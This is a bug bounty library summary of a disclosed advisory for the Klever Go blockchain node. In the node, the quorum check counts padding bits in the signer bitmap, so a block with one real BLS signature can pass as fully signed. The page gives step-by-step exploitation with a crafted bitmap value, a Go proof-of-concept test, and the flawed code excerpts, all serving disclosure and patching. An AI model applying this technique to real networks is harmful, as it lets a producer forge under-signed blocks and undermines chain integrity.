# Klever Go counts bitmap padding bits toward BLS quorum, allowing blocks with insufficient signatures

Klever Go's header quorum check counted bitmap padding bits as signatures, letting a block producer pass PBFT quorum with fewer real BLS shares than required.

- Payout: Research
- Severity: high
- Program: Klever Go
- Found by: sondt99
- Disclosed: 2026-11-23
- CVE: CVE-2026-58262
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f9h7-4mmq-vgcq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f9h7-4mmq-vgcq
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:crypto vuln:misconfiguration vuln:signature-replay

**Target:** Block header signature verification (PubKeysBitmap / BLS multisig) in Go node
**Root cause:** verifyConsensusSize counts all set bits in PubKeysBitmap via bits.OnesCount8 without masking padding bits beyond consensusSize, while blsMultiSigner.Verify only iterates real validator indices and silently ignores those padding bits.
**Steps:**
1. Note consensus size 5 requires PBFT threshold 5*2/3+1 = 4 signatures; valid bit positions 0..4, padding bits 5,6,7.
2. Gather only one real signature share (validator 0) and aggregate it.
3. Set PubKeysBitmap to `0xe1` (0b1110_0001): bit 0 real plus padding bits 5,6,7.
4. verifyConsensusSize computes bits.OnesCount8(0xe1)=4 >= 4 and passes.
5. blsMultiSigner.Verify loops only over real pubKeys, ignores padding bits, validates aggregate against validator 0 only, returns nil.
6. Header accepted with 1 real signer instead of 4; reachable via interceptedBlock.CheckValidity on peer-received headers.
**How found:** Code review of the quorum counter versus the BLS verifier: noticed verifyConsensusSize uses bits.OnesCount8 over the whole bitmap while Verify only iterates real pubKeys, implying padding bits are counted but never verified.
**Exploitation:** A malicious or compromised block producer with a valid leader signature and at least one valid consensus-group BLS signature share crafts a header whose PubKeysBitmap sets padding bits to inflate the on-bit count to the PBFT threshold, then submits the block; receiving nodes accept it as quorum-signed.
**Escalation:** Impact scales with consensusSize % 8: up to 8-(consensusSize%8) fake padding signatures counted; on 21-member groups one vote shaved, larger relative impact on small/sharded groups.
**Insight:** When a bitmap gates a threshold and a separate verifier consumes the same bitmap, diff the two loops: any index space the counter covers but the verifier skips (padding, out-of-range bits) is free quorum weight. Check byte-length checks that don't mask the tail byte.

## Proof of concept (copied exactly from the original report)

**Go test proving padding bits satisfy quorum**

```
func TestPOCHeaderSigVerifierCountsPaddingBitsTowardQuorum(t *testing.T) {
	args := createHeaderSigVerifierArgs()
	args.NodesCoordinator = &cMock.NodesCoordinatorMock{
		GetValidatorsPublicKeysCalled: func(_ []byte, _ uint64, _ uint32) ([]string, error) {
			return []string{"pk0", "pk1", "pk2", "pk3", "pk4"}, nil // consensus size 5 -> need 4
		},
	}
	verifyCalled := false
	args.MultiSigVerifier = &cMock.BelNevMock{
		CreateMock: func(pubKeys []string, index uint16) (crypto.MultiSigner, error) {
			return &cMock.BelNevMock{
				VerifyMock: func(msg []byte, bitmap []byte) error {
					verifyCalled = true          // verifier is reached even though only 1 real signer bit is set
					require.Equal(t, []byte{0xe1}, bitmap)
					return nil                  // single-signer aggregate verifies OK
				},
			}, nil
		},
	}
	hdrSigVerifier, _ := headerCheck.NewHeaderSigVerifier(args)
	header := &block.Block{
		Header:        &block.BlockHeader{PrevRandSeed: []byte("seed")},
		PubKeysBitmap: []byte{0xe1}, // bit0 (real) + padding bits 5,6,7 => counted as 4/5 quorum
		Signature:     []byte("aggregate-of-only-real-bit-0"),
	}
	err := hdrSigVerifier.VerifySignature(header)
	require.NoError(t, err)   // <-- accepted with 1 real signature instead of the required 4
	require.True(t, verifyCalled)
}
```

**Quorum counter counting all bitmap bits**

```
numOfOnesInBitmap := 0
	for index := range bitmap {
		numOfOnesInBitmap += bits.OnesCount8(bitmap[index])   // <-- counts ALL bits incl. padding
	}

	minNumRequiredSignatures := consensus.GetPBFTThreshold(consensusSize)
	...
	if numOfOnesInBitmap >= minNumRequiredSignatures {
		return nil
	}
```

**BLS verifier ignoring padding bits**

```
pubKeys := make([]crypto.PublicKey, 0)
	for i := range bms.data.pubKeys {                    // <-- only real validator indices
		err := bms.isIndexInBitmap(uint16(i), bitmap)
		if err != nil {
			continue
		}
		pubKeys = append(pubKeys, bms.data.pubKeys[i])
	}

	return bms.llSigner.VerifyAggregatedSig(bms.keyGen.Suite(), pubKeys, bms.data.aggSig, message)
```

